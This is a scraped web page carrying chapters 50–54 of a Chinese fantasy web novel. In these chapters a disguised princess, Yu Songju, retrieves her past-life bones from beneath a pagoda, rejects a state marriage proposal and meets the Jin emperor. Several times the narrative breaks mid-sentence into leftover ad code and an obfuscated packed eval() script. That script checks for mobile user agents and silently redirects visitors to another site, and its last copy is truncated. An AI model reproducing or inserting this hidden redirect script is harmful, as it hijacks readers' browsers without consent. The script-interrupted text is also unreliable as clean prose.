魏离回头看他,一双眼瞳中清晰地将墙壁上燃着的灯火香烛映入,格外明亮。 他看着齐九歌一步步走向他们,口中吐出那几个意料之中的字句,“或许,我可以称您一声,公主殿下。” 一旁的叶轻天不解地看着表哥,念经念糊涂了? “当然。”魏离将憋了两年的嗓子重新放开,轻柔的嗓音如同晨曦中扑来的一缕微风,落入清泉,轻轻地敲击在人心上,“你也可以叫我的名字,郁颂橘。” 不是,什么?叶轻天像触电般甩开手中扶着的手臂,“你们两个什么时候勾搭在一起,来捉弄我?” 不应该啊,他日夜和魏离待在一起,怎么会察觉不了……郁颂橘……那不就是周朝的平宁公主吗?但他是从大宁带来的人啊?他派人去调查过,魏离自小是在大宁京都长大的,怎么可能是周朝的人。 而且这个声音,他总觉得在哪听过。 郁颂橘看着叶轻天皱起来的眉头,觉得有些好笑,“怎么了?” “你是骗人的吧。”叶轻天最无法接受的是,自己当初竟然输给一个女子,还被搞得差点没活下来。但如果魏离是一个女子的话,那这个仇他要是一直记着,是不是显得很小肚鸡肠啊? “言归正传吧,”齐九歌打断叶轻天,看他眉头紧皱,就知道他在想些什么,索性让他自己一边纠结去吧,“我让小殿下下毒换你回来,是想请你……” 齐九歌欲言又止,似乎觉得自己将要说出来的话很失礼,一向泰然自若的面色也染上一片暮色。 郁颂橘就那么站在灯火烟雾之下,看着他,看得他咬咬牙,“想请你嫁给我。” 叶轻天这回是真的瞪大了自己的眼睛,他甚至觉得墙壁上坐着的金刚像也在瞪着眼睛看齐九歌。 “请你嫁给我。” 51.第 51 章 齐九歌怕郁颂橘没听清,又重复了一遍,“我想请你嫁给我。” “三书六礼,九歌是一步都没想好怎么走,就来请我嫁给你了?”不知道是不是心理作用,叶轻天总觉得自己身边这个不知道该继续叫魏离还是跟着表哥叫郁颂橘的人,眼里多了几分灵动的俏皮。 “我是想过要走的,原想请陛下替我向周朝求娶,但殿下一直不曾回去,想必是求了也无用,我便请了小殿下帮忙。”齐九歌的眼睛紧紧地望着她,生怕她露出一丝不悦。 “国师大人在乎的并不是我这个人,是我这条命吧?”郁颂橘的脸上露出浅浅的微笑,叶轻天才终于想起来自己在哪听过相似的嗓音,当年与苏柳玉一面之缘,就是这个声音! 他们从未见过面,也不可能是什么一见钟情,何况这么久了,齐九歌从未过问过她身上的伤,自然是另有所图。 她当初借玄山寺上的藏经阁研究东离古国遗留书籍之时曾经读过,“杳杳凤鸣,其意逢秋,梧桐散尽,空余风骨。其人如凤,年岁堪虞,人间见龙,其岁见长。” 齐九歌生时引来百鸟伏拜,应的其人如凤,凤凰能涅槃,在梧桐散尽之时会寻火涅槃,人不行,其人如凤,只会英年早逝,除非找到“人间龙”,与之结缘,才能跨过那个坎。 按照静斋的话来理解,郁颂橘,就是那个“人间龙”,结缘的方法,当然是结亲最快。 “我……感情也是可以培养的……”而且郁颂橘的样貌、智慧、家世也都是顶尖的。 “我为什么要和你培养感情?”她始终保持着温柔的笑容,如果她没有选择以身换药,他也会想其他办法强迫她来到这吧? “我帮你向陛下求个一品诰命……”齐九歌的声音渐渐弱下去,他确实没什么可以和她交换的。 可如今,她脚下踩的,是金国的土地。 “你是不是在想,我如今在你金国地界上,不答应也得答应?”郁颂橘动作很快,等叶轻天反应过来,腰间藏匿着的匕首已经架在齐九歌脖子上了,“我只是受伤了,不是残废了,你应该明白我的意思吧?” “别!别冲动!”叶轻天根本想不明白,她为什么已经断了筋脉,还能如此动作迅猛,就如同他的母亲想不明白,为什么一样的药剂,齐九歌能活下来。 “你想要什么条件。”冰冷的刃尖抵在齐九歌的脖颈上,淡淡的桂花香气混杂着药气,顺着郁颂橘的动作刺激着他的鼻腔,“我尽量满足你。” “光慈塔的地下暗道,在哪?” 齐九歌心中一凛,她为什么会知道光慈塔之下有暗道,这条暗道连守塔僧人都不清楚。 “别给我装不知道。”察觉到他的犹豫,郁颂橘的动作又重了几分,细小的血线出现在洁白光滑的皮肤之上,在昏黄的灯光下凝聚成黑色的细丝。 “出血了出血了!你小心点!”叶轻天急的在原地转圈。 “入门七步,左手边的香炉之下有道机关。” 塔里已经没有除他们三人之外的百姓了,郁颂橘松了几分力道,“小殿下,就麻烦你帮忙打开一下了。” 叶轻天的脑子已经转不过来了,如今只希望她不要一时兴起跟割永安王的脑袋一样,把齐九歌的脑袋也给割了。他按着齐九歌的指示,回到塔门前,向前行七步,找到左手边地藏菩萨面前的香炉,小心翼翼地搬开铜香炉,尽量不撒一点香灰。 香炉之下,是一朵金属刻印的姜黄花。他伸手往下按了一下,地藏菩萨边上的墙体轰然打开,明灭不定的烛火似是感应到墙体被打开,争先恐后地迎风亮起,照亮向下打着旋延伸的石阶梯。 “一起下去?”郁颂橘里齐九歌很近,讲话时呼出的热气几乎是一瞬间就扑在他裸露在外的皮肤,他一下红透了耳根。 “你放了我表哥,我跟你下去。”叶轻天是真着急啊,齐九歌是真的手无缚鸡之力,自小连多跑两步都累,跟着下这不知道尽头是什么东西的地道,那不得昏死过去! “不行。”郁颂橘的眼里映照出满墙的佛像,“都下去,否则你俩一起死。” “走吧。”还是齐九歌先一步开口,“传说光慈塔下镇压着东离古国为祸人间的孽龙,我虽然早有耳闻,但一直没下去看过,看样子平宁公主,是知道底下是什么?” “想知道?”郁颂橘这才松开他颈间的匕首。 叶轻天见郁颂橘松开齐九歌,想趁她不注意先下手为强,但她背后好似长了眼睛,一阵劲风扫过,自己的头发便被削去大半。 郁颂橘看着烛光中洋洋洒洒飘落下来的发丝,哂笑一声,“下次,落地的可不止是头发了,你当永安王输给我,只是因为大意吗?” 叶轻天捞了一把自己落下的头发,乖乖往前走下去开路,这回他是真信郁颂橘能送他俩一起死了。 墙上的灯火比塔内的其他灯都要明亮许多,石阶两侧的壁画清晰可见,诡异的油彩似乎毫无规矩地泼洒其上,经年氧化都没能让它们的色彩减淡分毫。 隐约有风拂过,惊得叶轻天起一身鸡皮疙瘩,“这墙上涂得都是什么啊?” “娲皇补天。”郁颂橘一眼就认出这是东路古国时期的画法,虽然不认得颜色,但她见过相似的黑白摹刻。 “东离古国信仰娲皇,在出现信仰崩塌之前,一切的祭祀活动和庙宇,都是娲皇相关的,包括这座佛塔,先前里面放着的应当也是娲皇塑像。”齐九歌的声音很淡,但穿透性极强,郁颂橘在讲经会的时候就见识到了,如今他的声音在空荡的石阶间轻轻摇摆,唤出回声来。 “信仰崩塌,连带着神像都被换了一遍。”整座城都变了信仰,郁颂橘走在最后头,仔细观摩着壁画上的内容,究竟是娲皇信仰断绝,还是娲皇放弃了庇佑这片土地上的人们? 她伸手摩挲着壁画上迤逦的黑金色长尾,上面刻画着细微的鳞片凸起。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“这底下到底有什么东西,值得你费这么大功夫?”万一底下真有龙,那他们几个不是白送死来了? “我的骸骨。”郁颂橘朱唇轻启,吐出他们从未设想过的答案。 “那你现在是人是鬼啊?”叶轻天不知怎么的,看着眼前的壁画,心中的恐惧慢慢远去,反倒是感觉到一片宁和。 “我上辈子的骸骨。”郁颂橘的眼睛死死盯着壁画,似乎要将它们刻入灵魂。 淡淡的檀香自上方的暗门飘扬下来,跟着石阶上的烟尘气混合在一起,在明亮的烛光下升腾起一片淡淡的帘幕。 她感觉到一道温暖的目光顺着檀香尘雾找到了她的身影,缓缓地念出晦涩的语句,尘雾慢慢地包裹住她的躯体,柔和奇妙地攥住她的灵魂。 她看见了,尚是苏柳玉时的自己。 落满细碎桂花的窗棂前,少女身上穿着寺庙里的灰布僧衣改的衣裙,正抄写着《尚书》,边抄嘴里还边念叨着要拿着桂花去山下换糖糕吃。 寺院里的经典很多,多到她根本搞不清楚哪些是该学的,哪些是不该学的,而静斋先生也从未来指点过她,她只好自己慢慢的一本一本地学,静斋先生说,她要努力学习,要成为最厉害的人,才能……再见到母亲。 母亲啊……这对郁颂橘来说,已经是十分遥远的称呼了。 十几年了。 郁颂橘就这么站在桂花树下,望着里头埋头苦写的少女。 “诶?公子是迷路了吗?”苏柳玉一抬头,就看见站在桂花树下肩头落满桂花的郁颂橘,好漂亮的小哥,应该是来上香迷路了吧?一般不会有人找到她的院子里来的,静斋师父为了让苏家的人祭祖时不会意外撞见她,特地选了一间最不起眼、最难找的院子。 郁颂橘愣了一下,这才记起自己身上穿的还是男装,她轻轻地露出一个笑容,“对,我听说玄山寺特别灵验,来向文殊菩萨求考取功名的。姑娘读的,可是《尚书》?” “嗯,我才读到周书武成篇。”苏柳玉放下手中的笔,“我带你回大殿吧,再晚些天都要黑了,到时候下山的路就不好走了。” 郁颂橘看着少女未施粉黛的面庞,有些恍惚,“多谢姑娘。” “公子是何处人氏?”生的真漂亮。苏柳玉穿着破旧的僧鞋,走在前头,肩上还落着几朵星点小的桂花儿。 郁颂橘轻轻扭动了自己受伤的腿,没有预想中的疼痛,倒是轻飘飘的。 是幻境,郁颂橘慢慢地跟在僧衣少女身后,看见她用布绳随意扎起来的青丝随风飘荡,散发出淡淡的皂角香气,看见她尚未握枪的青葱玉手柔嫩的掌心,看见她还未被改变的□□身骨…… 看见了她在火中寻求一丝生机前还未放弃的一切。 都过去了。 起初只是星点的火光出现在少女的肩角,后来,连那棵桂花树都一同化为灰烬。 她再一次见证了自己的死亡。 52.第 52 章 郁颂橘回过神来时,正看见叶轻天跪在地上哭,年轻的面容上淌下的泪水,总是格外动人。 “你不去叫醒他?”她转头看向一边站得牢牢的齐九歌,齐九歌根本没有陷入幻境。 “叫不醒。”齐九歌低眉敛目,一双低垂的眼睛慢慢阖上,“我其实也是恨他的,那夜如果没有他,我母亲也不会死的那样痛苦。” “说说?”郁颂橘就地盘坐,也不在乎石阶之上是否有积年尘埃,她就这么坐下,看着默默流泪,一点声音也没发出来的叶轻天。 “我自出生起就甚得圣眷,我的母亲曾经也是和陛下关系最为亲厚的公主。”齐九歌看了一眼自己身上干净的衣袍,始终还是狠不下心坐下,就那么站着,和她的目光一同交汇在叶轻天满是泪水的脸上。 “在我三岁的时候,小殿下出生了,我和母亲都很喜欢他。我幼时最喜欢的事情就是去宫里找这个小表弟玩,我喜欢给他念书,也喜欢给他做些小玩意。” “陛下原先是不算喜欢他的母妃的,他母妃是蛮夷之地进贡来的,习性与我们不甚相同,连说话都带着几分口音。不过她很聪明,会学,很快就满口标准的官话,很快就学会了宫中的礼仪,也会偶尔使些小手段去讨好陛下,所以她有了小表弟。她很爱小表弟,在小表弟说想吃酒酿圆子之时,会去向宫里的厨娘请教做法。” “我和母亲喜欢小表弟,连带着陛下也对他们母子多几分关照。陛下对小表弟很好,好到满朝上下都觉得他会被立为太子。” “陛下确实有意,但被我让母亲上书阻止了。因为轻天他不应该当皇帝,他可以当大将军、当闲散王爷,可当皇帝他必死无疑。” “他的母妃撞见了陛下批阅我母亲的奏折,她没有质问我的母亲,只是悄悄地策划了那一碗酒酿圆子。在轻天生日那夜,我们三人分食了那一碗格外香甜的酒酿圆子,身中剧毒。那天太医院被免职了几个人,最后讨论出一个方子,那方子没问题,但我的母亲死了。” “因为那夜那宫中燃的是犀角香,改变了解药的药性,她的五脏被化为血水。我本也该跟着她一起去的……” “可你是凤命,一般的伤和毒都没办法致你于死地。”郁颂橘替他说出了接下来的话,“你的母亲在你的怀中吐血而亡。” 齐九歌的喉中似乎堵了一团棉花,闷得厉害,他清清喉咙,勉强地继续说着,“我知道这一切都不是他的错,可我该怎么……怎么释怀呢?” 无解的。他垂眼看着仍旧哭泣不止的叶轻天,叶轻天长大至今,也只遇到这一件悲伤的事情吧。 “无法释怀就一直记着吧,强迫自己是一件很痛苦的事情。对你是这样,对他来说也是。”郁颂橘看着已经哭的上气不接下气几乎要昏过去的叶轻天,“你在这陪着他吧,我下去看看。” “下面……可能真的有龙。”齐九歌几乎是下意识地抓住她的手。 “你下去过?” “没有,但晚上在此诵经时,会在子时听见龙吟声。” 郁颂橘不知道下面有没有真龙,危不危险,她只知道自己必须下去。记载了“其人如凤”的那本书上还写了“龙栖山脉,其形有三。其一为脉,镇八方海平,其二为风云。司四方风物,其三约为人,善者,生乱世平定四方,降盛世鞠躬尽瘁,寿无尽,是以心意困顿无解。其一难寻,其二难见,其三若现,困囿命途无解法,性善则盛世盈,性恶则乱世无尽。” 而在这一篇底下的注解,写明了静斋是以什么手段让自己从崩裂的东离古国存活至今的。 “人间龙初生龙形,啖之可增寿数,天罚至,以其骨入阵可移魂,脱壳以避祸,移祸于天下人。” 在这句注解之下,原先留了一大段的空白,但她在玄山寺读书那段日子,有一次意外被书架上的木刺戳破了指尖,艳红的鲜血滴落书页之时,有文字显现。 “龙骨初生,形神未聚,神思自天而来,无悲无喜,是娲皇遣以恤黎民,尘缘绝。天命难为此命难改,困哉。破而后立,形散而神聚,或有一线希望。” 郁颂橘不知道“形散”指的是不是是她现在这身体消散,但她愿意用这几百年前的骸骨来试一试。她可不愿去接受自己的存在就是为了什么体恤黎民,断绝尘缘。 娲皇补天为的是苍生百姓,因为苍生万物是她的造物、她的孩子。但郁颂橘为什么要体恤黎民呢?若是娲皇能看见,想必在几百年前“龙骨初生,形神未聚”,神思尚未归位之时的躯体被分成七份的时候就已经决定让这黎民自生自灭了吧? 因为那作为龙形降临人间的,也是她的孩子啊。 “看好他,我自己下去,无论发生什么,都不要下去。”郁颂橘稍稍用力便轻易挣开齐九歌的手,一个人在明亮的灯火之下往更底层走去,利落挺拔的背影和逶迤在地的影子一同消失在他的视线里。 郁颂橘忍着腿上的疼痛,一步步踏着台阶往下,先前那一丝半缕的微风变得更明显了,它们轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938129|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻擦过她的脸庞,慢慢地陪着她向下走去。明亮的火光摇曳,将她的影子映照在壁画之上,浅浅地蒙住了娲皇的蛇尾。 浅浅的低吟声自风中传来,像缥缈的幻觉一般从她的耳畔划过。她看到了那水晶棺材里被蛇骨盘住的小小铜匣子。棺材没有完全合上,留着一条小缝,细风穿过,留下浅浅的声响,尖尖的,但不刺耳。 郁颂橘来到那晶莹剔透的水晶棺面前,这里的灯火跟石阶上的一样明亮,清晰地映照出四面八方的油彩壁画,她的脚下,正踩着断掉的不周山山尖。 水晶棺往前,有个空掉的神座,漆金的神座在这里待了不知道多少年,在岁月风声中逐渐露出其中的腐朽木料。应该是先前娲皇的神座吧,她只多看了两眼,便垂下眼帘,将手搭在那晶莹剔透的棺材之上。 推开它不需要多少力气,她很轻易地拿到了那个斑驳的铜匣子,匣子里面依旧是熟悉的白骨。耳畔的风中呢喃愈发清晰。 “不如……归去。” “不如归去。” “不如归去!” 归去?回哪去?命定的原位还是死亡的尽头?郁颂橘将铜匣子抱在怀中,冰冷的触感透过不算厚实的衣衫渗入她的胸膛,她轻轻地对风说,“不愿归去。” 她生而自由,海川河流高山风雪都不能左右。 她感觉到那不知何处而来的风声有了一瞬间的停顿,随即又缓缓吹拂着灯芯,她回过身,往来时的路走去,清风吹灭了她身后的烛火,黑暗慢慢将地下吞噬。 郁颂橘不紧不慢地走在黑暗之前,清风吹动她的衣袍,吹散她的发丝。 等齐九歌和叶轻天再看见她之时,只觉得她白衣猎猎,如天上真仙,欲乘风归去,永归高天之上。 一时间谁都不敢先开口,郁颂橘也不说话,三人就这么安静地走回地面上。在郁颂橘彻底踏出暗道的那一瞬间,灯火尽熄,一阵大风刮过,刮灭了整层塔底的灯火,三人只在黑暗中听见细细的石块破碎声响,等齐九歌再点亮一根香烛时,地藏菩萨尊像边上的暗道已经消失了,连带着被移开的香炉底下的纹样也不知所踪。 “塔下到底有什么?”叶轻天望着郁颂橘沉静的双眼,没关上的塔门透进来几丝月华,正映在她的脸上。 “有风。”郁颂橘抱着铜匣子率先往门口走去,月光倾泻而下,笼罩在她的身上,似天降白纱,朦朦胧胧地遮挡住了她身上的冰冷气息。 风自由了。 那她呢? 53.第 53 章 郁颂橘是被梦魇醒的。 她梦见母亲被困在高大的宫墙之内,只能望着那一小片天空思念自己。她在高耸入天的朱红色墙外,想尽了一切办法,都没能见母亲一面。 她听见,母亲在墙的那头说,“对不起”。 那墙好高好高,一眼望不到头。压在心尖上,沉甸甸的。 她掏出衣服里盖着的地图,用炭笔绘制的路线已经有些许模糊开了,下一个地点是旧都。 她正想找支新的炭笔来将地图重新描清晰,门外突然传来嘈杂的鸟鸣声,混着叶轻天他们的声音。 “表哥,你说她起了没,这么早。” “她可不是你,成日贪睡。” 郁颂橘穿好外衣,拉开门,正看见叶轻天蹲在齐九歌脚边。 “呃……”叶轻天才刚蹲下,就看见被打开的八仙黄木门里露出一双暗青色绣莲的翘头鞋。他缓缓抬头,尴尬地和郁颂橘对视了一会,才站起来。 刚巧他站起来的那一瞬间,一道嫩黄色的影子擦过他的头顶,撞进郁颂橘的怀中。 她今日穿的是齐九歌派人送来的衣物,柳青色的百褶罗裙边上秀的大朵大朵海棠,随着动作起伏之时,似大片海棠花开,随风挂在枝头摇荡。 撞进怀里的嫩黄色小鸟在柳青色的上裳之上十分显眼。 郁颂橘将撞得晕头转向的小鸟托起来放到肩头上等它站稳,“这么早来找我,有什么事?” “我表哥想让你当我表嫂。” 郁颂橘抬眼看站在一旁被抢了话的齐九歌,“我以为你明白我的意思。” 齐九歌头一回尝到不知所措的滋味,向来都是世家女子追在他身后,他哪里懂什么讨好姑娘的手段,何况这还不是一般姑娘。 “找个好日子我们结拜,结亲就算了。”郁颂橘叹了一口气,安抚着刚找到主人的小鸟,“给我准备好路费,我要往旧都去,莫要告诉其他人我的行踪。” “结拜有用吗?要不你上个族谱?”叶轻天是昨夜才从表哥那里知道什么凤命龙脉的,嫁娶是写在宗碟上的,光结拜有用吗? “行啊,那就劳烦小殿下,写封信去周朝,说国师大人要把他们唯一的公主写进族谱里,去试试?”郁颂橘想着他顶着这个单纯的脑子给卞城逼得水段粮绝就忍不住笑出声。 美人展颜无疑是震撼人心的。廊外阳光正盛,穿过斑驳树影落在她柳青色的衣裙之上,随风而动的几缕乱发拂过她的面颊,凭添几分如山间细雪化水般的柔情。郁颂橘的脸上未着粉黛,向来看不清深处的眼眸也露出几分笑意,犹如初绽的桃花,明媚纯净。 “你、你笑什么!”叶轻天轻易地又红了脸,“那万一、万一周朝同意……”他对着郁颂橘那双明亮的眼睛,声势渐渐小下去。 “嫁是不可能的,非要逼我嫁,那你们就日日夜夜保护好自己的脑袋吧,不要给我机会。”让它们落到地上。 这么漂亮的脸怎么能说出这么冰冷的话啊!好歹,他们也是同行了十几二十天,没有一丝感情吗?他让马给她,自己在地上靠腿走,她一点都不感激?叶轻天着实是被她的话吓到了,也相信她有这个能力。 “明日?”齐九歌终于是出声了。 “明年立春。”郁颂橘肩上的鸟儿又重新落到她的掌心之中,仔细地看着对面的两个人,歪着头似乎在思考之前为什么没见过他们。 “你要是在那之前跑了怎么办?”他们俩又不能日夜跟着她,何况以她的身手,想跑还不简单。 “要我认亲,总得让我满意吧?我上头八个哥哥,虽然死的不剩多少,但到底能活下来的也都是人中龙凤,就凭你一句话就想让我认了?想要快也行,认干儿子我不挑时间。”她一双眼睛明亮得像夜里的极星,看的齐九歌心发慌。 虽然觉得郁颂橘这两句话很不客气,甚至对于从小被捧着长大的他们来说有些冒犯了,但现在是有求于人,叶轻天看了眼表哥的脸色,也不敢多说话。 “行,但你在金国行走,总得有一个名正言顺的身份。”齐九歌看着面前逗鸟玩的少女,也许按着她的身高来说算不得少女,“就先称我的义妹吧,也方便些。” “那能不能,也算是我妹妹?”叶轻天是家族里最小的,从小就盼着能有一个弟弟或妹妹,但他父皇年纪有些大了,他自己已经算是老来子,哪里还能有弟妹? “能啊,不过,小殿下不记恨差点被我毒死的事情了?”郁颂橘看向已经神游天外的叶轻天,“也不记恨一箭之仇了?” “不记恨不记恨。那箭差点伤了妹妹,是我的错,那毒就是普通的雷公藤,我自诩用毒天下第一还没察觉出来,是我棋差一着。你要不要把那个副将的筋也挑了,我想办法帮你把他下牢里……”对他来说,不听话的手下,消失了更好。 “不用了。” “那你……要跟我们回都城吗?”他也想去向那些经常给他炫耀妹妹的世家公子炫耀一下。 金国的都城……是留仙城,留仙城距旧都和雪葬山都有一定的距离。 “你伤养好再上路吧。”最好能养到明年立春。齐九歌也跟着叶轻天一起看她,他的眼睛本就是显可怜的下垂形,如今又带着几分真情实感的表演在里面,显得更可怜了。 “对呀,你受了那么重的伤。”其实按照正常人是这个伤,早就躺在床上不能动弹了,她还能趁着夜色火烧大营,还能第二天就跟着他走回都城的路,不是一般人。 “好。” “你可以住我府里,我府里什么都有……”叶轻天还想再劝,猛然回神,她这是答应了? 母亲当年,为什么会带着她远走他国?她是从金国境内去的大宁还是从周朝边界去的大宁?如果按照静斋所说,途径金国,那会不会有人也见过她,知道当年的事情? “我和你们去留仙城,不要让任何人知道我过去是谁,安排一个孤女的身份对你们来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954400|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说很容易吧?” “那名字……” “还用如今这个,周朝就算发现了,也不敢声张。”毕竟他们一直对外宣称,平宁公主郁颂橘,深居简出,平平安安地待在大周,是所有人的掌上明珠,“商谈妥了,就走吧,等你们真要上路那日再来找我,我修养两天。”这段日子带着伤风餐露宿,她也确实是累了。 “还……还有一件事……”叶轻天有些不好意思地开口,“你能不能把那天你分给我吃的桂花糖糕的方子写给我啊,我今天一早就上街去找,吃了一肚子桂花味,都没能找到那么好吃的。” “等着。”郁颂橘转身回屋,找了笔墨写了给他。 淡淡墨香混着桂花气味的纸笺拿到手时,叶轻天看着那隽逸的字迹别提多开心,他想了一路了,总觉得找她要个糕点方子有些不好意思,一直从边境想到这儿,终于是到手了。 齐九歌心里的恨铁不成钢消失多年之后,终于在看到叶轻天那带着些蠢意的笑容之时,重新浮现了。先前还以为他出去领兵跟着永安王历练几年,也会变成永安王那种人,没想到如今看起来还是这么……这么没脑子。 “小殿下也喜欢吃糖糕点心?”郁颂橘顺便拿了块房中备着的点心掰碎了放在小瓷杯里喂给鸟儿,小鸟儿不知道飞了几个日夜才重新找到她,饿急了,埋头苦吃,将杯子底啄得直响。 “他从小就喜欢甜的东西,只要甜的都喜欢。”齐九歌不知道为什么,看着抱着纸笺傻笑的叶轻天,那替人尴尬的毛病又犯了。 “我有那么不挑吗?”这话说的叶轻天就不乐意了,“我只吃好吃的。我跟你说,整个留仙城,没有我不知道的美味糕点!别说我了,要是表哥吃到过妹妹做的桂花糖糕,一定跟我一样!”他那天吃的还是隔夜的,不敢想象刚出炉的会有多好吃。 “那是我攻下云城之后找城中糕点师父学的,云城独有。”郁颂橘又给鸟儿倒了杯水来。 “我今早试过整个许昌城的点心,有几样好吃的,我过会买了送来给你。还有几样特色菜,我觉得你也会喜欢!” 当天下午,叶轻天带人搬了十几个食盒来,一一排开在郁颂橘面前,满屋子都是糕点的香甜气息。 当天晚上,叶轻天叫了桌有六十多道菜的席面,郁颂橘坐在桌子这头够不着对面的菜。 第二天一早,叶轻天让人搬了衣物一箱、首饰一箱、胭脂水粉香粉一箱来,郁颂橘不太理解,这些东西难道要搬着上路吗? 她搬了把凳子坐在廊前,看着一箱箱的东西排放在院子里,有些不明白,他下一步,是在许昌城里给她送一套宅子吗? 叶轻天这是第一次当人兄长,正是兴头上,确实在考虑要不要再许昌买套宅子,许昌气候宜人,少有天灾,因着城里的人们都信仰佛教,也少有口角争斗,作为“佛都”也算繁华…… 不过,在他正准备付钱时,郁颂橘亲自去寻的他,及时阻止了这一场交易。。 54.第 54 章 冬月时节,留仙城迎来了它的第一场初雪,漫天的细雪以一种近乎圣洁的姿态盈盈飘落在屋瓦之上,满城笼上一片白纱。 在这冬日初雪之中,郁颂橘见到了金国的皇帝。 他比大宁的文帝要老上许多,年迈的帝王坐在金碧辉煌的大殿高位上,岁月留下的不可磨灭的斑驳痕迹在他的身上显得格外孤独庄重,是岁月与权力铸就的威严。 “这就是你说的在许昌救了你一命的姑娘?”安帝一双苍老的眼睛已经浑浊,他看着大殿之上身着白衣的少女,总觉得有些眼熟。 “是的舅舅,颂橘在许昌城外浣衣时撞见侄子落水,水流湍急,若不是她,我恐怕没有办法站在这见您。”齐九歌知道自己是安帝唯一的侄子,安帝对于郁颂橘的来历谨慎些也是正常的,一脸坦然地看着高座之上的舅舅。 “抬起头来。” 郁颂橘从善如流地将自己的面庞完整地展现在老皇帝面前,清晰地捕捉到他眼中的惊艳,还有那转瞬即逝的疑惑,以及最后的震惊。他藏得很好,但王座之下的二人,都不是简单的,清晰地捕捉到他一闪而过的情绪。 “她此般容貌,跟你也算是郎才女貌,为何不直接求娶?你们年轻人的话本里不是都讲些‘以身相许’?”安帝花了好一番力气才将心中呼之欲出的答案压住。 “舅舅,我与她尚无男女之情,为这恩情就草草定下她的姻缘,岂不是恩将仇报?” 讲的倒是冠冕堂皇,当初不还是一见面就说什么“请你嫁给我”?郁颂橘状似受惊低头,在心中暗暗腹诽。 “也是,你认她做义妹,倒也是给了她一辈子锦衣玉食的日子。不如朕赐她一个封号日后也更好说亲,在留仙城中遇到喜欢的世家公子嫁过去也不会受婆母欺辱。” “谢过陛下,不必了,小女姓郁,郁颂橘。”郁颂橘抬头对上那双苍老浑浊的眼睛,耳畔的白玉珠花随着动作轻轻晃动。 安帝的眼睛里泛着笑意,“你与九歌有缘,与朕也有缘,不如做朕的义女,朕封你一个乐安公主,如何?” “谢陛下抬爱。不过小女福薄,担不起陛下的圣意。小女救下国师大人也只是秉着‘救人一命胜造七级浮屠’的想法,并无借此攀附之意,若不是国师大人执意要带小女回京,小女也是不会见到陛下的。” “不必多说,就怎么定下了,朕这就叫人拟旨。”安帝从未想过她的孙女还会回到这片土地上,已经有四十多年没见过这样的眼睛了,当年柳妃那双眼睛也没有这么像。 金殿上抬着头的少女面庞上,那双眼睛像极了她。 “陛下,我还不想让周朝知晓我从大宁来到这。”郁颂橘已经确定,安帝必然见过自己的母亲,她转头看向齐九歌,“先请国师退避,我与陛下有话说。” 齐九歌欲言又止地看了眼安帝,安帝摆摆手让他退出殿外。 郁颂橘确定齐九歌已经离开后,站起身,“陛下见过我母亲?” “见过,你比你母亲,更像她。”连身上的气质都带着若有若无的相似。 “她?” “你的外祖母,她是金国生人,与朕也算青梅竹马。朕当年去往周朝为质子,她也随行,在周朝与季大将军一见钟情,朕便允了她留在周朝,这一别就是四十多年。”安帝似乎真的透过她的眉眼望见了那曾经在宫中一同放纸鸢的少女,“你母亲的面容像她,但你的眼睛和气度更像她。” “我母亲当年为何经过金国,又是为了什么去的大宁?”郁颂橘对老人家的爱情不感兴趣,她只想弄明白当年母亲一路究竟是遭遇什么,才会选择将她带到大宁,又如何把苏延的女儿替换成她的。 她觉得以苏延的性格,不可能会认一个来历不明的孩子做女儿,他一直忍到苏柳玉必须跟太子成婚之时才纵容苏烟罗下手,必然是以为苏柳玉是自己的女儿,否则他不会让苏柳玉有机会接触到太子和太后。 所以真正的苏柳玉应该是被自己的母亲替换了,而幼时母亲与自己住在山下小院里,似乎也从未在苏家人面前自称夫人或姨娘,用的好像也是教养嬷嬷的身份,从不让她在人前称她为母亲。 “你从小在大宁长大,一次都没回周朝过?”安帝这才反应过来她方才的话,可柳妃在几年前就回到周朝,急病而亡,“你一个人?” “我母亲在我幼时被人强行带走了,应该是被带回了周朝。”郁颂橘望着他眼中的诧异,不像假的,“我自小在大宁长大,或许您听过我另外两个名字,准太子妃苏柳玉,平宁侯魏离。” “照这么说,你和九歌的初遇,是假的?”魏离怎么会在许昌城郊外浣衣?他看了一眼大殿门口露出的衣角,继续道,“九歌先前朕让轻天去跟着永安王,就是为了让你到金国来?” “本是不想让您知晓,但既然您见过我的母亲,也许您也知晓十几年前到底发生了什么。至于国师大人为的什么,您可以自行询问。” “这小子,又欺骗朕。”安帝皱眉,“十几年前的事情,朕也知道的不算多,是你外祖母写了信来,让朕收留当时长途跋涉来的柳妃,也就是你的母亲。” “柳妃当时刚生产完不到半年,抱着尚在襁褓的你,按你外祖母在信中的说法,是周朝有奸臣要害你们母女二人,她实在不得已才来信求我帮忙。” “当年朕就有猜测,什么奸臣能让周朝最受宠的妃子带着孩子远走他乡,恐怕是周朝皇帝想要对孩子下手。当时九歌四岁,在柳妃暂居的宫室门前说里面住着天降人间龙,朕也是那时才开始去寻古籍,也是那时候才知道九歌是凤命,注定短寿。”所以他才那么宠着齐九歌。 “我母亲是为什么离开金国?”明明在金国宫中,周朝的人不可能来动手脚。 “朕不知,但柳妃说,她必须去为你改命。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 